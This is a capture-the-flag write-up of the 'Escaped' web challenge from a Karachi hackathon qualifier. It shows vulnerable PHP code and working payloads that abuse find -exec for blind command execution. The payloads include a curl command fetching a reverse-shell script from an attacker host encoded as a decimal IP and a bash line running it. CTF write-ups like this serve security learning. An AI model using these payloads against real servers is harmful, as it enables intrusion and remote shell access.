ESCAPED — Web — National Hackathon Karachi Qualifier
Challenge Name
Escaped
Chalenge Category
Web
Challenge Description
I have escaped all your shell commands =) Flag is in /flag.txt
Introduction
If you find yourself unable to bypass the barriers in your path, remember: sometimes the key to success lies not in breaking through the defenses, but in learning to dance with them, finding that clever, unexpected workaround that turns constraints into stepping stones. This was the Strategy which helped me to solve numerous challenges in the past and this challenge no other then them.
In this Writeup we will be discussing about the Web Challenge Escaped which was a part of National Hackathon 2023. Our Team was the only team to solve in due time. So let’s get started.
Heads up, As the Challenge Instances are down at the time writing this Writeup I will not be able to Include many Screen Shots but rather I would talk about my thinking process and How I got to the solution!
Escaped
This challenge was Classified as Hard and was worth 200 points. The Following source code was shown when we visit the Challenge Instance.
Source Code
<?php
highlight_file(__FILE__);
if (isset($_GET['code'])){
$input = $_GET['code'];
for ( $i=0; $i<count($input); $i++ ){
if ( !preg_match('/^[\w:\'-]+$/', $input[$i]) )
exit("Don't hack me");
}
exec(escapeshellcmd("find . ".implode(" ", $input)." ; -quit"));
}
else{
echo "<p>Go away</p>";}
?>
As we can see that there is a loop till count($input)
so I thought of Passing an Array using code
paramter. After searching on the internet I found a method to pass full Array using GET Parameters.
/?code[]=value1&code[]=value2&code[]=value3....
Moving to the next part we have to understand the regex/^[\w:\'-]+$/
according to my testing This check only allows values that contains alphabets, hyphens and collon. If we are able to pass the check then implode
will join our input with spaces between each element.
Now at this point I saw it was being concatenated to the find
command and I remembered that if find command is executed with -exec
flag then we can execute commands using it. I quickly tried running echo
and id
but there was no output on the web page that's when I realize that this was a Blind RCE to confirm it I added an echo
and tested it locally by starting a PHP Server from the below Command:
php -S 127.0.0.1:5000 file.php
This was the Output of the Following Payload:
?code[]=randomstr&code[]=-exec&code[]=id
This confirmed my suspicion about the RCE and I again re-confirmed it by the sleep command on the Challenge UAt this point, I was stuck. I knew that the RCE was legit but I had no way to connect to something on the outside world as URL’s have forwardslash in them which were not allowed and the same was the case with IP’s as they had periods in them which were blocked by the regex.
After a while the Idea which Struck in my mind is that IP’s can be represented in decimal Numbers. If you want to read more about this, I will make sure to add a blog post explaining this at the very end. Now the problem was that ngrok gives us a domain when we bridge it to our localport but I had a feeling that it would not work correclty when I try to use the Domain’s IP rather then the Domain Address.
So I decided to Launch a EC2 instance having a public Interface so that I could have a Public IP. Luckily, I had a terraform script available in my laptop which I wrote for my Course Project which made things way easier.
I used the following payload to Download a Reverse Shell bash script from my EC2 Instance to the Challenge Instance.
?code[]=randomstr&code[]=-exec&code[]=curl&code[]=-L&code[]=<DECMIAL_IP>&code[]=-o&code[]=script
This saved my script in the Challenge Instance with the name script
. After this I just ran the script and got a Reverse Shell on my listener.
?code[]=randomstr&code[]=-exec&code[]=bash&code[]=script
Useful Resources: Article_Regarding_Decimal_IP